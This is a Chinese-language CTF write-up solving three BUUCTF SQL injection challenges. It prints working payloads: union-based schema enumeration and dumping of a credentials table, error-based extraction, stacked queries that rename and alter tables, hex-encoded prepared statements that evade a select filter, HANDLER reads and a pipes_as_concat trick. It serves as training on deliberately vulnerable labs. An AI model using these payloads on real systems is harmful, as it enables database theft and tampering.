BUUCTF&&SQL注入(部分)

原来靶场不是最折磨的,新手做ctf才是

                        BUUCTF&&SQL注入(部分)_第1张图片          BUUCTF&&SQL注入(部分)_第2张图片

1.[极客大挑战 2019]LoveSQL

我一共做了三题,先来讲里面最简单的题吧

看见一个登录框,先尝试注入,发现会报错,而且不过滤# ,于是就开始常规操作

1'  union select 1,database(),2 #

成功得到数据库 geek

BUUCTF&&SQL注入(部分)_第3张图片

然后后面就是背公式了

select group_concat(table_name) from information_schema.tables where table_schema="geek"

这样就能成功得到两个表 geekuser l0ve1ysq1

BUUCTF&&SQL注入(部分)_第4张图片

继续我们的poc

select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek" and table_name="l0ve1ysq1" 

得到三个字段 id username password

BUUCTF&&SQL注入(部分)_第5张图片

脱裤脱库

select 1,2,(select group_concat(username,"~",password) from l0ve1ysq1 )--+

BUUCTF&&SQL注入(部分)_第6张图片

最后的flag

flag{bd4b50b7-78a5-4efa-bfcd-ceec222b6cba}

2.[强网杯 2019]随便注

反手判断一个注入类型 ,单引号报错 即字符型注入

BUUCTF&&SQL注入(部分)_第7张图片

所以开始poc构造

extractvalue(1,concat(0x7e,(database()),0x7e))

得到当前数据库名字 supersqli

但是当我想故技重施的时候发现,他把select 都过滤了 

BUUCTF&&SQL注入(部分)_第8张图片

于是就想没得操作了啊??? 但是好像还有一个堆叠注入没试过 试试就逝世

1’;show tables;

BUUCTF&&SQL注入(部分)_第9张图片 得到两个表  ,于是就构造两段poc

';show columns from words ; 
';show columns from `1919810931114514` ; 这个字段记得要用反引号括起来

BUUCTF&&SQL注入(部分)_第10张图片BUUCTF&&SQL注入(部分)_第11张图片

看起来flag在 “1919810931114514” 表里面 然后

没有show value in flag 这种的东西的啊      BUUCTF&&SQL注入(部分)_第12张图片  然后就不会了

于是就去借鉴别人的了(如有侵权,请联系删除) 有三种方法

1.改表名

1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

这个就是将word表随便改给名字 并且将一串数字的表改成word ,并且添加一个自增的主键 并且将flag的长度改为100 因为原来的查询就是将 word表里面的值查询出来,这样就实现了偷天换日

2.编码绕过

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

其中就是将select *from where `1919810931114514`进行十六进制编码 

3. Handler 一个类似于指针的东西

有以下poc

';handler `1919810931114514` open;handler `1919810931114514` read next;

BUUCTF&&SQL注入(部分)_第13张图片

flag{ffe62566-f7eb-4ce9-88b8-76b0996ffae7}

3.[SUCTF 2019]EasySQL

这个可以说是三题里面最难的了,输入一个1 会出现这个

BUUCTF&&SQL注入(部分)_第14张图片

输入一个"会出现一个这个(nonono)

BUUCTF&&SQL注入(部分)_第15张图片

我们先去试一下 show tables 和show databases 

又和上一题一样,没有show values in Flag 这种东西啊 而且编码和handler都用不了

于是又去翻了一下别人的WP

 BUUCTF&&SQL注入(部分)_第16张图片

原来别人是把源码猜出来了

这里就要普及一个知识先 如果查询的 select 中含有 || 只要有一个为真 那么它都会返回1(与值无关)

BUUCTF&&SQL注入(部分)_第17张图片BUUCTF&&SQL注入(部分)_第18张图片

所以这就是为什么我们无论输入什么数字返回都会是1 而字符的话就报错 但是没有返回

BUUCTF&&SQL注入(部分)_第19张图片

所以它的源码就应该是(结合它的说法)

select $_POST['query'] || flag from flag

所以就是要看我们怎么绕过

于是就可以想办法把 ||绕过  于是就可以这样写 就能拿到flag 

*,1

BUUCTF&&SQL注入(部分)_第20张图片

flag{68dfdaf4-a5d5-4f7e-9548-757ae12926ea}

当然了,还看到大佬的做法是这样,这个就厉害了,通过设置模式,将|| 变成concat函数

1;set sql_mode=pipes_as_concat;select 1

也是能得到相同的结果的,涨芝士了

以上就是被BUUCTF折磨一天之后的WP了

BUUCTF&&SQL注入(部分)_第21张图片

你可能感兴趣的:(安全,sql注入)